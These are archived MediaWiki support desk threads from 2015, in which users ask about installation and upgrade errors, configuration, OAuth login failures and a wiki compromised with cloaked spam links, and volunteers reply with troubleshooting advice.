'''Warning''': Class 'Diff\Differ\MapDiffer' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''23'''

'''Warning''': Class 'Diff\Differ\OrderedListDiffer' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''24'''

'''Warning''': Class 'Diff\Patcher\ListPatcher' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''26'''

'''Warning''': Class 'Diff\Patcher\MapPatcher' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''27'''

'''Warning''': Class 'Diff\Patcher\Patcher' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''28'''

'''Warning''': Class 'Diff\Patcher\PatcherException' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''29'''

'''Warning''': Class 'Diff\Patcher\PreviewablePatcher' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''30'''

'''Warning''': Class 'Diff\Patcher\ThrowingPatcher' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''31'''

'''Warning''': Class 'Diff\DiffOp\Diff\Diff' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''33'''

'''Warning''': Class 'Diff\DiffOp\Diff\ListDiff' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''34'''

'''Warning''': Class 'Diff\DiffOp\Diff\MapDiff' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''35'''

'''Warning''': Class 'Diff\DiffOp\AtomicDiffOp' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''37'''

'''Warning''': Class 'Diff\DiffOp\DiffOp' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''38'''

'''Warning''': Class 'Diff\DiffOp\DiffOpAdd' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''39'''

'''Warning''': Class 'Diff\DiffOp\DiffOpChange' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''40'''

'''Warning''': Class 'Diff\DiffOp\DiffOpRemove' not found in '''/home/content/71/10238071/html/wiki/extensions/Diff/Diff.php''' on line '''41'''

'''Fatal error''': Call to undefined function socket_create() in '''/home/content/71/10238071/html/wiki/includes/SquidPurgeClient.php''' on line '''96'''

Even adding the Diff and Trusted XFF extensions, the errors still appear. [[User:Nsgaeverine|Nsgaeverine]] ([[User talk:Nsgaeverine|talk]]) 19:26, 8 September 2015 (UTC)
:I've pretty much have given up even trying to fix the wiki and to the point where I had to completely remove MediaWiki 1.23 and replace it with MediaWiki 1.25.2 and since updated the PHP to 5.4 [[User:Nsgaeverine|Nsgaeverine]] ([[User talk:Nsgaeverine|talk]]) 03:28, 10 September 2015 (UTC)
:I read your request already yesterday, but I didn't know what the problem might be.
:So you are now running MediaWiki 1.25.2 on PHP 5.4?
:The sourcoe code of this extension is here:
:https://github.com/wmde/Diff
:Obviously, when the [[Extension:Diff]] is installed, this extension cannot find some of its classes. [[Special:Contributions/88.130.83.8|88.130.83.8]] ([[User talk:88.130.83.8|talk]]) 10:25, 10 September 2015 (UTC)

== Flagging deprecated words ==

We're building a new wiki using some ancient content that contains products that have moved onto newer product names. I'm wondering whether its possible to setup a hook/event handler to look at each word on a page as its rendered and wrap each deprecated word in a \{\{!xt\}\} template. Is this the best approach? Has this problem already been solved? If not, please point me in a direction to solve it. TYIA
{| class="wikitable plainlinks" id="sv-software"
!Product
!Version
|-
|[https://www.mediawiki.org/ MediaWiki]
| dir="ltr" |1.25.1
|-
|[https://php.net/ PHP]
| dir="ltr" |5.3.3 (apache2handler)
|-
|[https://www.mysql.com/ MySQL]
| dir="ltr" |5.1.73
|} [[User:Tomasthanes|Tomasthanes]] ([[User talk:Tomasthanes|talk]]) 19:30, 8 September 2015 (UTC)

== 如何配置邮箱验证？Email verification？ ==

在LocalSettings.php中我配置如下，

$wgSMTP = array(

'host' => 'smtp.exmail.qq.com',

'IDHost' => 'exmail.qq.com',

'port' => '25',

'auth' => true,

'username' => 'xxxxxx',

'password' => 'xxxx',

);

结果返回 [af57fe96] 2015-09-09 02:09:42: 类型“MWException”的致命错误

help me？ thanks [[Special:Contributions/222.73.151.50|222.73.151.50]] ([[User talk:222.73.151.50|talk]]) 02:10, 9 September 2015 (UTC)

== 404 error on main page links, but not on sidebar links ==

For some strange reason, only on the main page, internal links are build differently than anywehere else. An internal link like should look like www.carteamuntilor.ro/index.php?title=xxxxxx and so it does on any page of the wiki, except on the main page where it links to www.carteamuntilor.ro/enciclopedie/index.php?title=xxxxxx, although in the page content is the same way of building them (2 square paranthesis).

Also the WikiSeo extension does not work on the main page, but it works on any other page.

<nowiki>It can be observed here: http://www.carteamuntilor.ro</nowiki> [[User:Sorin.sfirlogea|Sorin.sfirlogea]] ([[User talk:Sorin.sfirlogea|talk]]) 13:22, 9 September 2015 (UTC)
:Hmmm... Going into edit mode of the main page and just saving it with no modification removes the problem... Now the issue is gone. What could it be? [[User:Sorin.sfirlogea|Sorin.sfirlogea]] ([[User talk:Sorin.sfirlogea|talk]]) 13:24, 9 September 2015 (UTC)

== Realising search in the "full area of names" with prefix "ALL" ==

Hi,

Is it possible to realise search in the "full area of names" Mediawiki (ver. 1.25.1) with prefix "ALL" include "Custom namespaces"? [[User:Faithdr|Faithdr]] ([[User talk:Faithdr|talk]]) 16:49, 9 September 2015 (UTC)

== Fatal error "Class 'DatabaseBase' not found..." ==

Hello there! I'm trying to upgrade my MW from 1.15 to 1.25.2 version.

I followed the Upgrading Manual but I encountered some errors of type "Exception" (Exception encountered, of type "Exception"...) when I run the update.php.

That happened both using "wfLoadExtension" and old "require_once".

So I temporarily decided to not import old extensions (by comment the lines in LocalSettings.php).

The installation page (mydomain/mediawiki-1.25.2/mw-config) finally started and I added the $wgUpgradeKey to LocalSettings.php.

Nevertheless I encountered another error:

Fatal error: Class 'DatabaseBase' not found in
/web/htdocs/MYDOMAIN/home/mediawiki-1.25.2/includes/installer/MysqlInstaller.php
on line 154

Where did I go wrong? What I have to do to fix the problem?

Thank in advance and forgive my very poor English. [[User:Ruster1969|Ruster1969]] ([[User talk:Ruster1969|talk]]) 17:05, 9 September 2015 (UTC)

== Changing The Logo On The Top Left Of My Mediawiki Pages ==

I used to have Mediawiki v.1.16 and I hot linked a Photobucket image to my wiki to display a logo on the top left of each page. Since then I've updated to v.1.24 and believe that it's now possible to display an uploaded wiki image in that position.

In simple terms (please) what is the procedure for removing the hotlink and displaying an uploaded image. [[User:Seedier Wiki|Seedier Wiki]] ([[User talk:Seedier Wiki|talk]]) 19:54, 9 September 2015 (UTC)
:What do you mean with "hotlinked"?
:Anyway, he recommended way of changing the logo is this:
:In your LocalSettings.php file, set $wgLogo to the path of your logo file. See [[Manual:$wgLogo]] for more information! [[Special:Contributions/88.130.83.8|88.130.83.8]] ([[User talk:88.130.83.8|talk]]) 21:02, 9 September 2015 (UTC)
:I have added an example to [[Manual:$wgLogo]]. [[User:Jörgi123|Jörgi123]] ([[User talk:Jörgi123|talk]]) 21:07, 9 September 2015 (UTC)

== Subdomain issue ==

I am unable to redirect the wiki to the subdomain that I have set up in the Apache-sites-available.

The IP works and when I have it set up like this in the LocalSettings.php, then I am able to access the wiki, but when I say

$wgServer = potatoGod.worldgovernment.terra then I get an error:

Not Found

The requested URL /w/BLA/index.php/wiki/Main_Page was not found on this server.

Where my the error in my logic.

The script path points to the correct directory. I have used the stuff form the ShortUrl page. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 20:41, 9 September 2015 (UTC)

== Change Create the page "blank" on this wiki! ==

I would like to change the default search results when no page is found.

Currently if a users looks for an item example "tank" and there is no existing page. The result will say

Create the page "tank" on this wiki!

I would like to have my own custom text and add some inspirational quotes.....like "be the change you wish to see in the world" [[User:Kaysevenmm|Kaysevenmm]] ([[User talk:Kaysevenmm|talk]]) 01:53, 10 September 2015 (UTC)
:If this is your own wiki, you will need [[Manual:Interface/Noarticletext|MediaWiki:Noarticletext]] [[User:Developaws|Developaws]] ([[User talk:Developaws|talk]]) 02:52, 10 September 2015 (UTC)
:Yes this is my own wiki.
:I went to the [[Manual:Interface/Noarticletext|MediaWiki:Noarticletext]] page and I edited the content, but when I do a search for non existing item....it still shows the default "Create the page "blank" on this wiki!" [[User:Kaysevenmm|Kaysevenmm]] ([[User talk:Kaysevenmm|talk]]) 12:54, 10 September 2015 (UTC)
:Oops, my bad. The Noarticletext message is when you visit a specific page that's missing :P
:Check out [[MediaWiki:Search-nonefound]] and [[Manual:Interface/Searchmenu|MediaWiki:Searchmenu-new]] [[User:Developaws|Developaws]] ([[User talk:Developaws|talk]]) 14:36, 10 September 2015 (UTC)

== License terms of JWPlayer ==

Query on JWPlayer which is bundled as part of MediaWiki platform:

Mediawiki is based on GNU GPL v2. Does the same license apply to JWPlayer as well or are there any different licensing terms? If there are different terms, please tell me the terms under which it is used as part of Mediawiki platform.<div> 
</div> [[User:Rajiv.thanawala|Rajiv.thanawala]] ([[User talk:Rajiv.thanawala|talk]]) 05:48, 10 September 2015 (UTC)
:> JWPlayer which is bundled as part of MediaWiki platform
:Where did you get this information from? AFAICT, JWPlayer isn't delivered and/or bundled with MediaWiki. [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 11:21, 10 September 2015 (UTC)

== Error on linking files from public folder ==
{{Archive top|result=Not a MediaWiki problem.|status=resolved}}

When I try to access a js file from public folder I get error 404, but file is on app/public [[Special:Contributions/79.144.135.208|79.144.135.208]] ([[User talk:79.144.135.208|talk]]) 08:03, 10 September 2015 (UTC)
:This seems to be not an issue of MediaWiki, right? [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 10:01, 10 September 2015 (UTC)
:Ask to your system administrator, because that's a problem on your server, not MediaWiki [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:01, 10 September 2015 (UTC)
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== Using Oauth I get E003 error ==

And I can't ". You'll need to [http://v-ghost.port0.org:8081/dbfswiki/index.php/User_talk:Dbfswiki contact] the application author for help with this." ... :)

So, I am trying to use node passport, with the module written to support mediawiki login. And in effect it makes three calls:
<nowiki>callbackURL: "http://127.0.0.1:30005/auth/mediawiki/callback",</nowiki> 
<nowiki> requestTokenURL: 'http://v-ghost.port0.org:8081/dbfswiki/index.php?title=Special:OAuth/initiate',</nowiki> 
<nowiki> accessTokenURL: 'http://v-ghost.port0.org:8081/dbfswiki/index.php?title=Special%3AOAuth%2Ftoken',</nowiki> 
<nowiki> userAuthorizationURL: 'http://v-ghost.port0.org:8081/dbfswiki//wiki/Special:OAuth/authorize',</nowiki>
As far as I can tell this is inline with the requirement. And as far as I can tell it works up to a point. More specifically, it gets the token http://v-ghost.port0.org:8081/dbfswiki/index.php?title=Special:OAuth/initiate

It then goes on to authenticate (either to the ID I am already logged in as, or I get a login prompt, so that SHOULD mean that http://v-ghost.port0.org:8081/dbfswiki//wiki/Special:OAuth/authorize works.

But I then get the following error message:

Sorry, something went wrong. You'll need to [http://v-ghost.port0.org:8081/dbfswiki/index.php/User_talk:Dbfswiki contact] the application author for help with this.

Unknown URL, [[Help:OAuth/Errors#E003|E003]]

However, I do not know which URL this is, or where it's trying to read it from, and I can't find any error on what E003 means, and I do not know if there is any tracing options somewhere that I am missing. The callback is set to 127.0.0.1:30005/auth/mediawiki/callback

This is the same as callback url for the token.

Any suggestions what I can do about this issue? [[Special:Contributions/86.176.111.244|86.176.111.244]] ([[User talk:86.176.111.244|talk]]) 13:40, 10 September 2015 (UTC)
:And I did run a trace as well, did not tell me much
:'''Debug data:'''
:*** <code>Start request GET /dbfswiki/index.php/Special:OAuth/authorizewiki/Special:OAuth/authorize?oauth_token=&oauth_consumer_key=449c71620457972e86ef20e083ccb87b HTTP HEADERS: HOST: v-ghost.port0.org:8081 CONNECTION: keep-alive ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 UPGRADE-INSECURE-REQUESTS: 1 USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 ACCEPT-ENCODING: gzip, deflate, sdch ACCEPT-LANGUAGE: en-US,en;q=0.8 COOKIE: wikiEditor-0-toolbar-section=advanced; dbfswikiLoggedOut=1441890109; dbfswikiUserID=1; dbfswikiUserName=Dbfswiki; dbfswiki_session=orfe7osq7ekrpkq3df4fufcfo4</code>
:*** <code>[caches] main: EmptyBagOStuff, message: SqlBagOStuff, parser: SqlBagOStuff</code>
:*** <code>[caches] LocalisationCache: using store LCStoreCDB</code>
:*** <code>Unstubbing $wgParser on call of $wgParser::setHook from registerEmbedDocumentHandler</code>
:*** <code>Parser: using preprocessor: Preprocessor_DOM</code>
:*** <code>Fully initialised</code>
:*** <code>User: cache miss for user 1</code>
:*** <code>Connected to database 0 at localhost</code>
:*** <code>Query dbfswiki (1) (slave): BEGIN /* DatabaseBase::query (User::loadFromDatabase) */</code>
:*** <code>Query dbfswiki (2) (slave): SELECT /* User::loadFromDatabase */ user_id,user_name,user_real_name,user_email,user_touched,user_token,user_email_authenticated,user_email_token,user_email_token_expires,user_registration,user_editcount FROM `user` WHERE user_id = '1' LIMIT 1</code>
:*** <code>Query dbfswiki (3) (slave): SELECT /* User::loadGroups */ ug_group FROM `user_groups` WHERE ug_user = '1'</code>
:*** <code>Connected to database 0 at localhost</code>
:*** <code>Query dbfswiki (4) (slave): SELECT /* SqlBagOStuff::getMulti */ keyname,value,exptime FROM `objectcache` WHERE keyname = 'dbfswiki:messages:en'</code>
:*** <code>MessageCache::load: Loading en... got from global cache</code>
:*** <code>Gadget::loadStructuredList: MediaWiki:Gadgets-definition parsed, cache entry dbfswiki:gadgets-definition:7 updated</code>
:*** <code>User: loading options for user 1 from database.</code>
:*** <code>Query dbfswiki (5) (slave): SELECT /* User::loadOptions */ up_property,up_value FROM `user_properties` WHERE up_user = '1'</code>
:*** <code>User: logged in from session</code>
:*** <code>User: loading options for user 1 from override cache.</code>
:*** <code>Unstubbing $wgLang on call of $wgLang::_unstub from ParserOptions::__construct</code>
:*** <code>Query dbfswiki (6) (slave): SELECT /* MediaWiki\Extensions\OAuth\MWOAuthConsumer::newFromKey Dbfswiki */ oarc_id,oarc_consumer_key,oarc_name,oarc_user_id,oarc_version,oarc_callback_url,oarc_callback_is_prefix,oarc_description,oarc_email,oarc_email_authenticated,oarc_wiki,oarc_grants,oarc_registration,oarc_secret_key,oarc_rsa_key,oarc_restrictions,oarc_stage,oarc_stage_timestamp,oarc_deleted FROM `oauth_registered_consumer` WHERE oarc_consumer_key = '449c71620457972e86ef20e083ccb87b' LIMIT 1</code>
:*** <code>[autoloader] Class FormatJSON was loaded using incorrect case</code>
:*** <code>User::getBlockedStatus: checking...</code>
:*** <code>User: cache miss for user 1</code>
:*** <code>Query dbfswiki (7) (slave): SELECT /* User::loadFromDatabase Dbfswiki */ user_id,user_name,user_real_name,user_email,user_touched,user_token,user_email_authenticated,user_email_token,user_email_token_expires,user_registration,user_editcount FROM `user` WHERE user_id = '1' LIMIT 1</code>
:*** <code>Query dbfswiki (8) (slave): SELECT /* User::loadGroups Dbfswiki */ ug_group FROM `user_groups` WHERE ug_user = '1'</code>
:*** <code>User: loading options for user 1 from database.</code>
:*** <code>Query dbfswiki (9) (slave): SELECT /* User::loadOptions Dbfswiki */ up_property,up_value FROM `user_properties` WHERE up_user = '1'</code>
:*** <code>Query dbfswiki (10) (slave): SELECT /* Block::newLoad Dbfswiki */ ipb_id,ipb_address,ipb_by,ipb_by_text,ipb_reason,ipb_timestamp,ipb_auto,ipb_anon_only,ipb_create_account,ipb_enable_autoblock,ipb_expiry,ipb_deleted,ipb_block_email,ipb_allow_usertalk,ipb_parent_block_id FROM `ipblocks` WHERE ipb_address = 'Dbfswiki'</code>
:*** <code>Query dbfswiki (11) (slave): SELECT /* LinkCache::addLinkObj Dbfswiki */ page_id,page_len,page_is_redirect,page_latest,page_content_model FROM `page` WHERE page_namespace = '0' AND page_title = 'Main_Page' LIMIT 1</code>
:*** <code>LoadBalancer::reuseConnection: this connection was not opened as a foreign connection</code>
:*** <code>Query dbfswiki (12) (slave): SELECT /* LinkBatch::doQuery (for Skin::preloadExistence) Dbfswiki */ page_id,page_namespace,page_title,page_len,page_is_redirect,page_latest,page_content_model FROM `page` WHERE (page_namespace = '2' AND page_title = 'Dbfswiki') OR (page_namespace = '3' AND page_title = 'Dbfswiki')</code>
:*** <code>Query dbfswiki (13) (slave): SELECT /* User::checkNewtalk Dbfswiki */ user_id FROM `user_newtalk` WHERE user_id = '1' LIMIT 1</code>
:*** <code>Query dbfswiki (14) (slave): SELECT /* SqlBagOStuff::getMulti Dbfswiki */ keyname,value,exptime FROM `objectcache` WHERE keyname = 'dbfswiki:sitenotice'</code>
:*** <code>Query dbfswiki (15) (slave): SELECT /* ResourceLoaderWikiModule::getTitleInfo Dbfswiki */ page_namespace,page_title,page_touched,page_len FROM `page` WHERE (page_namespace = '8' AND page_title IN ('Common.js','Foreground.js','Common.css','Foreground.css','Print.css') )</code>
:*** <code>Query dbfswiki (16) (slave): SELECT /* ResourceLoaderWikiModule::getTitleInfo Dbfswiki */ page_namespace,page_title,page_touched,page_len FROM `page` WHERE (page_namespace = '8' AND page_title IN ('Group-bureaucrat.js','Group-bureaucrat.css','Group-oauthadministrators.js','Group-oauthadministrators.css','Group-sysop.js','Group-sysop.css','Group-user.js','Group-user.css','Group-autoconfirmed.js','Group-autoconfirmed.css') )</code>
:*** <code>Query dbfswiki (17) (slave): SELECT /* NewMessages::newMessageCount Dbfswiki */ 1 FROM `user_message_state` WHERE ums_user = '1' AND ums_read_timestamp IS NULL LIMIT 500</code>
:*** <code>Query dbfswiki (18) (slave): SELECT /* ResourceLoaderWikiModule::getTitleInfo Dbfswiki */ page_namespace,page_title,page_touched,page_len FROM `page` WHERE (page_namespace = '8' AND page_title IN ('Common.js','Foreground.js','Common.css','Foreground.css','Print.css') )</code>
:*** <code>Query dbfswiki (19) (slave): SELECT /* ResourceLoaderWikiModule::getTitleInfo Dbfswiki */ page_namespace,page_title,page_touched,page_len FROM `page` WHERE (page_namespace = '8' AND page_title = 'Noscript.css')</code>
:*** <code>Query dbfswiki (20) (slave): SELECT /* SqlBagOStuff::getMulti Dbfswiki */ keyname,value,exptime FROM `objectcache` WHERE keyname = 'dbfswiki:resourceloader:filter:minify-css:7:67f1fbd7c11038f0915f3c80cbc4dc25'</code>
:*** <code>Query dbfswiki (21) (slave): SELECT /* SqlBagOStuff::getMulti Dbfswiki */ keyname,value,exptime FROM `objectcache` WHERE keyname = 'dbfswiki:resourceloader:filter:minify-css:7:9e509ea665bc3b91ef00abebf315c10d'</code>
:*** <code>Query dbfswiki (22) (slave): SELECT /* ResourceLoaderWikiModule::getTitleInfo Dbfswiki */ page_namespace,page_title,page_touched,page_len FROM `page` WHERE (page_namespace = '8' AND page_title IN ('Group-bureaucrat.js','Group-bureaucrat.css','Group-oauthadministrators.js','Group-oauthadministrators.css','Group-sysop.js','Group-sysop.css','Group-user.js','Group-user.css','Group-autoconfirmed.js','Group-autoconfirmed.css') )</code>
:*** <code>Parser: using preprocessor: Preprocessor_DOM</code>
:*** <code>Query dbfswiki (23) (slave): SELECT /* MessageBlobStore::getFromDB Dbfswiki */ mr_blob,mr_resource,mr_timestamp FROM `msg_resource` WHERE mr_resource IN ('user.options','user.tokens') AND mr_lang = 'en'</code>
:*** <code>Query dbfswiki (24) (slave): SELECT /* SqlBagOStuff::getMulti Dbfswiki */ keyname,value,exptime FROM `objectcache` WHERE keyname = 'dbfswiki:resourceloader:filter:minify-js:7:4367998603c03ddf8a4e047e167eae39'</code> [[Special:Contributions/86.176.111.244|86.176.111.244]] ([[User talk:86.176.111.244|talk]]) 13:53, 10 September 2015 (UTC)

== Invalid JSON file ==

Fresh installation.

Mediawiki: '''1.25.2'''

PHP: '''5.3.29 (but also changing to 5.4.45''' '''or''' '''5.5.29)'''

MySQL: '''5.0.92'''

When I go to MYDOMAIN/home/SUBFOLDERmw-config/ this is the result:

[a3643e26] /SUBFOLDER/mw-config/ MWException from line 552 of /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/cache/LocalisationCache.php: LocalisationCache::readJSONFile: Invalid JSON file: /web/htdocs/MYDOMAIN/home/SUBFOLDER/languages/i18n/en.json

Backtrace:

<nowiki>#</nowiki>0 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/cache/LocalisationCache.php(892): LocalisationCache->readJSONFile(string)
<nowiki>#</nowiki>1 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/cache/LocalisationCache.php(449): LocalisationCache->recache(string)
<nowiki>#</nowiki>2 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/cache/LocalisationCache.php(323): LocalisationCache->initLanguage(string)
<nowiki>#</nowiki>3 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/cache/LocalisationCache.php(260): LocalisationCache->loadItem(string, string)
<nowiki>#</nowiki>4 /web/htdocs/MYDOMAIN/home/SUBFOLDER/languages/Language.php(478): LocalisationCache->getItem(string, string)
<nowiki>#</nowiki>5 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/search/SearchEngine.php(391): Language->getNamespaces()
<nowiki>#</nowiki>6 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/User.php(1514): SearchEngine::searchableNamespaces()
<nowiki>#</nowiki>7 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/User.php(4948): User::getDefaultOptions()
<nowiki>#</nowiki>8 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/User.php(2587): User->loadOptions()
<nowiki>#</nowiki>9 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/context/RequestContext.php(342): User->getOption(string)
<nowiki>#</nowiki>10 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/StubObject.php(204): RequestContext->getLanguage()
<nowiki>#</nowiki>11 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/StubObject.php(160): StubUserLang->_newObject()
<nowiki>#</nowiki>12 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/parser/ParserOptions.php(588): StubObject->_unstub()
<nowiki>#</nowiki>13 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/installer/Installer.php(407): ParserOptions->__construct()
<nowiki>#</nowiki>14 /web/htdocs/MYDOMAIN/home/SUBFOLDER/includes/installer/WebInstaller.php(138): Installer->__construct()
<nowiki>#</nowiki>15 /web/htdocs/MYDOMAIN/home/SUBFOLDER/mw-config/overrides.php(68): WebInstaller->__construct(WebRequest)
<nowiki>#</nowiki>16 /web/htdocs/MYDOMAIN/home/SUBFOLDER/mw-config/index.php(41): InstallerOverrides::getWebInstaller(WebRequest)
<nowiki>#</nowiki>17 /web/htdocs/MYDOMAIN/home/SUBFOLDER/mw-config/index.php(36): wfInstallerMain()
<nowiki>#</nowiki>18 {main}

Where did I go wrong? [[Special:Contributions/37.182.66.90|37.182.66.90]] ([[User talk:37.182.66.90|talk]]) 14:26, 10 September 2015 (UTC)

2015-09-08T17:18:40Z

Developaws:

Gerrit/New repositories/Requests

2015-09-08T17:11:32Z

Developaws:

Extension:ImportArticles

2015-02-11T06:29:35Z

Developaws:

<languages/>
{{TNT|Extension code in wiki}}
{{TNT|Extension|templatemode=
|name = ImportArticles
|status = stable
|type1 = ajax
|hook1 = BeforePageDisplay
|username = Cblair91
|description = <translate>
Adds an ImportArticles used for JavaScript to import multiple CSS/JS pages at once.</translate>
|version = 1.2
|update = 02/11/2015
|mediawiki = <translate>
All</translate>
|php = <translate>
All</translate>
|download = <translate>
See the page [[<tvar|code>Extension:ImportArticles/code</>|containing the code]]</translate>
|needs-updatephp = No
|license = gpl v2 or later
}}
<translate>

The '''ImportArticles''' extension adds a JavaScript that is loaded on the page, which allows the importation of multiple JS and CSS at once.</translate>
<translate>

This is usable in the MediaWiki namespace for the skin, or in the users namespace for their local modifications.

== Installation == 
</translate>
{{TNT|ExtensionInstall
|download-link=[[Extension:ImportArticles/code|<translate>
Copy the code into files</translate>]]
}}

== History ==
V1.2:
* Add version and licence to JavaScript definer
* Change variables to global variable
* Fixed console logging for page missing
V1.1:
* Change variables
* Fixed output formatting
V1.0:
* Initial release

[[Category:Simple extensions{{translation}}]]

2015-01-29T22:30:56Z

Developaws (talk | contribs) commented on "$wgUser deprecated" (Since $wgUser is deprecated, what is the new method for getting the user class?)

Project:Support desk/Flow/2015/01

2015-01-29T22:30:56Z

Developaws: /* $wgUser deprecated */ New section

{{Project:Support desk/Archive header}}

{{LiquidThreads imported revision}}
== Integrate UploadForm.js to my wiki ==

How do I integrate UploadForm.js of wikimedia commons to my wiki and add add additional fields to the file upload form? [[Special:Contributions/208.116.10.33|208.116.10.33]] ([[User talk:208.116.10.33|talk]]) 09:14, 1 January 2015 (UTC)
:This is probably a better question for Wikimedia Commons. I don't know how they did this. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 18:59, 3 January 2015 (UTC)

== Problem with transcluding a page from Wikipedia ==

I am using a Mediawiki image from Bitnami with the following software installed:

- MediaWiki 1.24.0
- PHP 5.4.35 (fpm-fcgi)
- MySQL 5.5.40

I am having problems transcluding a page from Wikipedia; I am using the following tag:

{{wikipedia:Wikipedia:Village pump|Wikipedia:Village pump}}

And I get the error message:

[Vorlagenabruf fehlgeschlagen für https://en.wikipedia.org/wiki/Template:Wikipedia:Village_pump?action=render: HTTP 404]

Obviously Mediawiki is adding "Template:" although the namespace "Wikipedia:" has been specified.

I would be grateful for a tip how to fix this problem. [[Special:Contributions/109.193.16.235|109.193.16.235]] ([[User talk:109.193.16.235|talk]]) 22:24, 1 January 2015 (UTC)
:I think you want [[Manual:$wgEnableScaryTranscluding]]. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 22:48, 1 January 2015 (UTC)
::Hi Mark,
::thanks for your feedback.
::But I have been setting $wgEnableScaryTranscluding to 'true' and the iw_trans bit in the interwiki table to the value 1.
::If $wgEnableScaryTranscluding has not been set, then the message would by "[Interwiki-Einbindung ist deaktiviert] / [Interwiki is not activated]".
::I rather think, that there is an issue with the parsing of the interwiki tag.
::Regards Stephan [[Special:Contributions/109.193.16.235|109.193.16.235]] 19:14, 3 January 2015 (UTC)

== Seach to a specific page/word ==

Is it possible to search something and to navigate to the searching word simply 

When I search for something, I found a list of pages where the searching words prevents. After I navigate to the page and on that page I search with CTRL + F for the word I am looking for.
Is it possible to search for a word and directly navigate to that part of the page (Where the page prevents my searching word)??

Thanks in advance [[Special:Contributions/62.41.129.103|62.41.129.103]] ([[User talk:62.41.129.103|talk]]) 13:14, 2 January 2015 (UTC)
:It looks like you're using the word "prevents" when you mean "presents". With that in mind, I think you're question should read:
::When I search for something, I found a list of pages where the ''word I'm searching for appears''. After I navigate to the page and on that page I search with CTRL + F for the word I am looking for. Is it possible to search for a word and directly navigate to that part of the page (Where the page ''clearly shows the word I am searching for'')??
:(Italics replace the bits I think need it.)
:It looks like you could use something like [http://www.the-art-of-web.com/javascript/search-highlight/ this]. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 01:40, 3 January 2015 (UTC)
::Thanks for the reply. 
::Yes, it is something like the example Search Keyword Highlighting. 
::What I want for example: 
::I have a page named "Troubleshooting" 
::On the page "Troubleshooting" I have an article named : "Bug fix" 
::I want to search in my wiki for "Bug fix" 
::When I search for "Bug fix", than I found the page "Troubleshooting" and than I have to search for "Bug fix" with CTRl + F (Standaard search function of windows) 
::I want to search for "Bug fix" than mediawiki must give me the possibility to search for "Bug fix" on the page "Troubleshooting" or Highlighting the words "Bug fix" 
::Thanks in advance [[Special:Contributions/62.41.129.103|62.41.129.103]] 07:56, 8 January 2015 (UTC)

== [RESOLVED] - HACKED - Hidden texts automatically inserted in old and new pages ==

When I create a page in my wiki, hidden links are automatically inserted in that page.

Actually I found the problem through google because google reported that my site was hacked. Found out that all my wiki pages has these hidden links. They were all automatically inserted.

Then I discovered today that these links are embedded some place in the wiki to automatically be inserted to all old pages and into newly created pages.

These links are not visible when viewing the page. They do not show up in the browsers. And when I view the source of the page in both wiki and browser none of the links show up. They are all CLOAKED. They only show up when I check it in google webmaster tools.

I just created this page: http://www.zamboanga.com/z/index.php?title=Hacked

And immediately those links were embedded. I used this tool besides google: http://isithacked.com/

If I check my main root site the cloaking do not exist there. The cloaking only exists within the wiki folder.

I have already changed all the admin passwords. I do not have any auto registration. Registration is only done by admin.

I checked with the host server and all is clean from any malware. The target of this cloaking is specifically the mediawiki site within the folder "z".

Apparently this hacking occurred back in November of 2014 and since then we have made thousands of edits in the wiki already, so using a backup to restore is not recommended.

How do I resolve this problem? [[User:Kuhitkuhit|Kuhitkuhit]] ([[User talk:Kuhitkuhit|talk]]) 19:26, 2 January 2015 (UTC)
:Which version of MediaWiki are you using and which MediaWiki version(s) have you been using since November 2014?
:Before you start cleaning up the mess, you must find out, how the attacker gained access to your server. Did he have your FTP data? Did he log in somehow (to Plesk or what you are running)? Did he maybe gain access through a completely different installation in your account (e.g. you still have another system running,for example an old WordPress version or Joomla or so)? Or did he maybe infect a completely different account and could then infect your files?
:Check back with your host to figure that out! [[Special:Contributions/88.130.112.132|88.130.112.132]] 20:11, 2 January 2015 (UTC)
::I am using this:
